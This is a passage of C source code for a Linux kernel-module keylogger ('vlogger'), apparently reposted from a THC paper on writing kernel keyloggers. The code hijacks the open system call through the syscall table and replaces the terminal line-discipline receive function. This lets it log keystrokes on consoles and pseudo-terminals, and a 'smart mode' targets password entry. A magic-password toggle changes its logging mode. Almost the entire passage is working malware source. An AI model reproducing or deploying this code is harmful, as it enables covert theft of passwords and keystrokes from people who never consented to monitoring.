TTY_INDEX(tty)); tmp = ttys[TTY_INDEX(tty)]; if (!tmp) return; } if (vlogger_mode == VK_SMARTMODE) { if (tmp->status && !IS_PASSWD(tty)) { resetbuf(tmp); } if (!tmp->pass && IS_PASSWD(tty)) { logging(tty, tmp, 0); resetbuf(tmp); } if (tmp->pass && !IS_PASSWD(tty)) { if (!tmp->lastpos) logging(tty, tmp, 0); resetbuf(tmp); } tmp->pass = IS_PASSWD(tty); tmp->status = 0; } if ((count + tmp->lastpos) > MAX_BUFFER - 1) { logging(tty, tmp, 1); resetbuf(tmp); } if (count == 1) { if (cp[0] == VK_TOGLE_CHAR) { if (!strcmp(tmp->buf, MAGIC_PASS)) { if(vlogger_mode < 2) vlogger_mode++; else vlogger_mode = 0; reset_all_buf(); switch(vlogger_mode) { case VK_DUMBMODE: DPRINT("Dumb Mode\n"); TTY_WRITE(tty, "\r\n" "Dumb Mode\n", 12); break; case VK_SMARTMODE: DPRINT("Smart Mode\n"); TTY_WRITE(tty, "\r\n" "Smart Mode\n", 13); break; case VK_NORMAL: DPRINT("Normal Mode\n"); TTY_WRITE(tty, "\r\n" "Normal Mode\n", 14); } } } switch (cp[0]) { case 0x01: //^A append_c(tmp, "[^A]", 4); break; case 0x02: //^B append_c(tmp, "[^B]", 4); break; case 0x03: //^C append_c(tmp, "[^C]", 4); case 0x04: //^D append_c(tmp, "[^D]", 4); case 0x0D: //^M case 0x0A: if (vlogger_mode == VK_SMARTMODE) { if (IS_PASSWD(tty)) { logging(tty, tmp, 0); resetbuf(tmp); } else tmp->status = 1; } else { logging(tty, tmp, 0); resetbuf(tmp); } break; case 0x05: //^E append_c(tmp, "[^E]", 4); break; case 0x06: //^F append_c(tmp, "[^F]", 4); break; case 0x07: //^G append_c(tmp, "[^G]", 4); break; case 0x09: //TAB - ^I append_c(tmp, "[TAB]", 5); break; case 0x0b: //^K append_c(tmp, "[^K]", 4); break; case 0x0c: //^L append_c(tmp, "[^L]", 4); break; case 0x0e: //^E append_c(tmp, "[^E]", 4); break; case 0x0f: //^O append_c(tmp, "[^O]", 4); break; case 0x10: //^P append_c(tmp, "[^P]", 4); break; case 0x11: //^Q append_c(tmp, "[^Q]", 4); break; case 0x12: //^R append_c(tmp, "[^R]", 4); break; case 0x13: //^S append_c(tmp, "[^S]", 4); break; case 0x14: //^T append_c(tmp, "[^T]", 4); break; case 0x15: //CTRL-U resetbuf(tmp); break; case 0x16: //^V append_c(tmp, "[^V]", 4); break; case 0x17: //^W append_c(tmp, "[^W]", 4); break; case 0x18: //^X append_c(tmp, "[^X]", 4); break; case 0x19: //^Y append_c(tmp, "[^Y]", 4); break; case 0x1a: //^Z append_c(tmp, "[^Z]", 4); break; case 0x1c: //^\ append_c(tmp, "[^\\]", 4); break; case 0x1d: //^] append_c(tmp, "[^]]", 4); break; case 0x1e: //^^ append_c(tmp, "[^^]", 4); break; case 0x1f: //^_ append_c(tmp, "[^_]", 4); break; case BACK_SPACE_CHAR1: case BACK_SPACE_CHAR2: if (!tmp->lastpos) break; if (tmp->buf[tmp->lastpos-1] != ']') tmp->buf[--tmp->lastpos] = 0; else { append_c(tmp, "[^H]", 4); } break; case ESC_CHAR: //ESC append_c(tmp, "[ESC]", 5); break; default: tmp->buf[tmp->lastpos++] = cp[0]; tmp->buf[tmp->lastpos] = 0; } } else { // a block of chars or special key if (cp[0] != ESC_CHAR) { while (count >= MAX_BUFFER) { append_c(tmp, cp, MAX_BUFFER); logging(tty, tmp, 1); resetbuf(tmp); count -= MAX_BUFFER; cp += MAX_BUFFER; } append_c(tmp, cp, count); } else // special key special_key(tmp, cp, count); }}void my_tty_open(void) { int fd, i; char dev_name[80];#ifdef LOCAL_ONLY int fl = 0; struct tty_struct * tty; struct file * file;#endif for (i=1; i<MAX_TTY_CON; i++) { snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i); BEGIN_KMEM fd = open(dev_name, O_RDONLY, 0); if (fd < 0) continue;#ifdef LOCAL_ONLY file = fget(fd); tty = file->private_data; if (tty != NULL && tty->ldisc.receive_buf != NULL) { if (!fl) { old_receive_buf = tty->ldisc.receive_buf; fl = 1; } init_tty(tty, TTY_INDEX(tty)); } fput(file);#endif close(fd); END_KMEM }#ifndef LOCAL_ONLY for (i=0; i<MAX_PTS_CON; i++) { snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i); BEGIN_KMEM fd = open(dev_name, O_RDONLY, 0); if (fd >= 0) close(fd); END_KMEM }#endif}void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count){ if (!tty->real_raw && !tty->raw) // ignore raw mode vlogger_process(tty, cp, count); (*old_receive_buf)(tty, cp, fp, count);}static inline void init_tty(struct tty_struct *tty, int tty_index){ struct tlogger *tmp; DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty)); if (ttys[tty_index] == NULL) { tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL); if (!tmp) { DPRINT("kmalloc failed!\n"); return; } memset(tmp, 0, sizeof(struct tlogger)); tmp->tty = tty; tty->ldisc.receive_buf = new_receive_buf; ttys[tty_index] = tmp; } else { tmp = ttys[tty_index]; logging(tty, tmp, 1); resetbuf(tmp); tty->ldisc.receive_buf = new_receive_buf; }}asmlinkage int new_sys_open(const char *filename, int flags, int mode){ int ret; static int fl = 0; struct file * file; ret = (*original_sys_open)(filename, flags, mode); if (ret >= 0) { struct tty_struct * tty; BEGIN_KMEM lock_kernel(); file = fget(ret); tty = file->private_data; if (tty != NULL && ((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE && TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) || (tty->driver.type == TTY_DRIVER_TYPE_PTY && tty->driver.subtype == PTY_TYPE_SLAVE && TTY_NUMBER(tty) < MAX_PTS_CON)) && tty->ldisc.receive_buf != NULL && tty->ldisc.receive_buf != new_receive_buf) { if (!fl) { old_receive_buf = tty->ldisc.receive_buf; fl = 1; } init_tty(tty, TTY_INDEX(tty)); } fput(file); unlock_kernel(); END_KMEM } return ret;}int init_module(void){ DPRINT(MVERSION);#ifndef LOCAL_ONLY original_sys_open = sys_call_table[__NR_open]; sys_call_table[__NR_open] = new_sys_open;#endif my_tty_open();// MOD_INC_USE_COUNT; return 0;}DECLARE_WAIT_QUEUE_HEAD(wq);void cleanup_module(void){ int i;#ifndef LOCAL_ONLY sys_call_table[__NR_open] = original_sys_open;#endif for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) { if (ttys != NULL) { ttys->tty->ldisc.receive_buf = old_receive_buf; } } sleep_on_timeout(&wq, HZ); for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) { if (ttys != NULL) { kfree(ttys); } } DPRINT("Unloaded\n");}EXPORT_NO_SYMBOLS;<-->|=[ EOF ]=---------------------------------------------------------------=|Sursa:http://freeworld.thc.org/papers/writing-linux-kernel-keylogger.txt Quote